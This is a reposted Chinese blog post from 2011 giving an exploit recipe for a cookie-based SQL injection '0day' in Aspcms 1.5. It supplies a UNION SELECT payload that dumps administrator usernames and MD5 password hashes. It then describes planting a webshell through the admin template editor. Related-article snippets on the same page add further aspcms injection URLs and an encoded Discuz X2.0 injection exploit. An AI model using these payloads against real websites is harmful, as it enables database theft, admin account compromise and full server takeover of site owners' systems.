Aspcms 1.5 COOKIES注入0day

精选转载

小跑堂 2011-12-27 23:11:20 博主文章分类：信息安全

文章标签 职场安全休闲 0day 文章分类 网络安全

Aspcms 1.5 COOKIES注入0day，注册一个帐号。然后登陆后修改COOKIES的USERID值

在后面加上注入语句:
UNION SELECT 1,2,3,4,5,6,username,adminpassword,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from Aspcms_admins

然后编辑帐号就能看到管理员的帐号和MD5密码值。

后台拿SHELL：

访问admin/_Style/AspCms_TemplateEdit.asp?filename=tmdsb.asp在里面加一句话或者大马。

保存后SHELL在风格目录下面。Templates/default/html/tmdsb.asp

本文转载自『半坑土农民's Blog』

上一篇：多家网站用户密码数据库被爆下载地址及文件网络疯传

下一篇：在RHEL上静默安装Oracle Client

提问和评论都可以，用心的回复会被更多人看到评论

发布评论

相关文章

OAuth2.0实战使用JWT令牌认证

JWT分为三部分：头部、载荷、签名。如下：eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOlsicmVzMSJdLCJ1c2VyX25hbWUiOiJhZG1pbiIsInNjb3BlIjpbImFsbCJdLCJleHAiOjE3MDU5OTQ0MzgsImF1dGhvcml0aWVzIjpbIlJPTEVfYWRtaW4iXSwianRpIjoiM

OAuth2.0 jwt
官网漏洞修复

首先交付的主机基础架构常规加固操作必须要有：防火墙关闭不必要的端口、杀毒软件、不必要的服务关闭、性能优化等，已实现一键脚本自动化。整改完成后联系厂商或自行扫描测试，确保合规。附上官网整改报告：2024年4月12日，我单位收到官网网站漏洞信息，第一时间组织整改，先行暂时关闭网站的服务，整改修复完成后再上线。具体如下：一、基本情况xxx公司网址contoso.com二、造成隐患的原因网站上的配置为

HTTP 表单重启
漏洞修复-openssh升级

升级openssh到最新版本

旧版配置文件远程连接 SSH
aspcms各版本漏洞0day集合

admin/_content/_About/AspCms_AboutEdit.asp?id=19 and 1=2 union select 1,2,3,4,5,loginname,7,8,9,password,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from aspcms_user&n

aspcms
aspcms企业建站系统0day 2.0以上通杀

aspcms开发的全新内核的开源企业建站系统，能够胜任企业多种建站需求，并且支持模版自定义、支持扩展插件等等，能够在短时间内完成企业建站。漏洞出现在/plug/productbuy.asp对接收的参数id没有进行过滤而导致的注入漏洞注入后的页面有跳转，所以要快，建议用快捷键复制爆用户名/plug/productbuy.asp?id=2+union+selec

职场休闲 0day 通杀 aspcms企业建站系统
ApsCMS AspCms_SettingFun.asp、AspCms-qqkfFun.asp、AspCms_Slide.asp、AspCms_StyleFun.asp、log

ApsCMS AspCms_SettingFun.asp、AspCms-qqkfFun.asp、AspCms_Slide.asp、AspCms_StyleFun.asp、login.asp、AspCms_CommonFun.asp Vul

sql html #include
aspcms后台拿shell漏洞(非添加模块)及修复方法

aspcms在老版本中可以通过添加模板直接添加asp.但是新版的aspcms中已经限制了添加模板的格式为html,js,css,当然如果是遇到iis6的话还是可以通过iis6的解析漏洞把文件名改成1.asp;.html这样的格式来拿到shell的.可是如果遇到iis7.5呢?以下是本人自己找到挖掘到的aspcms通杀版本的后台拿shell方法.1、进入后台，“扩展功能”--“幻灯片设置

修复 firefox 幻灯片元素
linux nginx部署aspcms

在网站搭建和管理过程中，选择合适的操作系统和服务器软件是至关重要的一步。在现如今互联网时代，Linux操作系统和Nginx服务器软件作为开源软件备受青睐，同时aspCMS作为一款优秀的内容管理系统也受到了广泛的关注和应用。Linux操作系统以其稳定性和高安全性而闻名，许多网站都选择在Linux环境下搭建服务器。而Nginx作为一款轻量级高性能的服务器软件，其并发处理能力强，能更好地应对高流量的

Nginx CMS 服务器软件
aspcms转phpcms方法

![](https://s1.51cto.com/101?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)

aspcms phpcms
修改ASPCMS升级扩展功能

修改 inc/aspcms_templateFun.asp 查找"content=decodeHtml(rsObj("Content"))" 替换为”content=replace(decodeHtml(rsObj("Content")),"class=""lazy img-responsive""...

ASP.NET
aspcms 提示错误号：-2147467259提示

aspcms 提示错误号：-2147467259提示：【】错误号：-2147467259错误描述：操作必须使用一个可更新的查询。sql=update AspCms_Content set TimeStatus=0 where TimeStatus=1 and Timeing <= #2016-03-7# 此问题是由于空间目录权限不对引起的，一般赋予给它的internet进程用户以（users

aspcms
aspcms做站学习点滴（aspcms程序中的标签定义在什么地方）

最近在学习用aspcms程序来做网站，发现aspcms的标签定义真的很不人性化，不像dedecms那样，如果你对哪个标签的具体含义不清楚，得自己去百度。例如我在修改index.html的时候发现头部有个标签aspcms:top 这个标签，我想看一下这个标签的具体代码内容，结果死活找不到。后台多方打探和研究，才发现aspcms居然把这个标签的定义放在了inc文件夹里，让用户自己去找吗？也太不注重用户

标签文件夹 dedecms 做网站去百度
关于 ASPCMS中产品或文章使用分类TAG使用ASPCMS：CONTENT调用出错的解决方法

最近对公司的网站进行改版，由于产品比较多，有些产品可能属于不同的多个产品分类，在前端调用显示所有产品时，通过分类TAG分类的产品无法显示，生成静态也时直接报如下错误：错误号：3704错误描述：对象关闭时，不允许操作。sql=select top 10 ContentID,a.SortID,a.GroupID,a.Exclusive,Title,Title2,TitleColor,IsOutLink

aspcms 分类TAG
aspcms 幻灯片用列表调用

首先找到网站目录/inc/AspCms_MainClass.asp 增加主函数然后在文件中查找函数parseGlobal()增加解析标签代码大功告成！在首页我们可以这样调用其中的字段 [slidelist:link] [slidelist:imgurl] {aspcms:slidelist

aspcms 幻灯片用列表调用
（转）Discuz! X2.0 SQL注入漏洞 EXP

DZ2.0直接暴管理账号密码（默认前缀的情况下）/forum.php?mod=p_w_upload&findpost=ss&aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2VsZWN0IDEsZ3JvdXBfY29uY2F0KHVzZXJuYW1lLDB4N0MzMjc0NzQ3QyxwYXNzd29yZCkgZnJvbSBwcm

sql 漏洞 Discuz! 注入漏洞 X2.0
ASPCMS开源企业网站管理系统点评

ASPCMS简介　　ASPCMS是由武汉上谷网络科技有限公司开发并完全开源的一套建站系统，主要面向企业进行快速的建造简洁，高效，易用，安全的公司企业网站，ASPCMS是基于ASP+Access(sql2000)开发的网站内容管理系统，提供了简介类模块，新闻类模块，产品类模块，图片类模块，下载类模块等。ASPCMS下载 ASPCMS 开源企业网站管理

asp 职场休闲
关于ASPCMS标签调用的一些总结

最近在一家公司进行网站改版，网站使用的是aspcms，现对改版中的一些标签的小应用进行一些总结，希望可以给需要的一些帮助

标签总结 aspcms
Web2.0十大Ajax安全漏洞以及成因

用这些漏洞进行钓鱼，跨站点脚本(XSS)以及跨站点伪造(XSR

ajax web 浏览器 javascript 脚本
新的TPM 2.0漏洞可能让黑客窃取加密密钥

TPM 是一种基于硬件的技术，可为操作系统提供防篡改安全加密功能。

网络服务器运维系统硬件
ASPCMS不能上传2M以上大文件修改！

\admin_aspcms\editor\upload.asp修改80行左右maxattachsize=xxxxxxxx'最大上传大小，默认是2M前提是IIS上传大小已修其他有关IIS方面的修改：在windows2003下使用asp程序时，碰到上传图片大于200K时，没反应的现象。网上查询后，很多会...

ASPCMS不能上传2M以上大文件修改！

官方博客	全部文章	热门标签	班级博客
了解我们	网站地图	意见反馈

鸿蒙开发者社区	51CTO学堂
51CTO	软考资讯

Aspcms 1.5 COOKIES注入0day

Aspcms 1.5 COOKIES注入0day

51CTO博客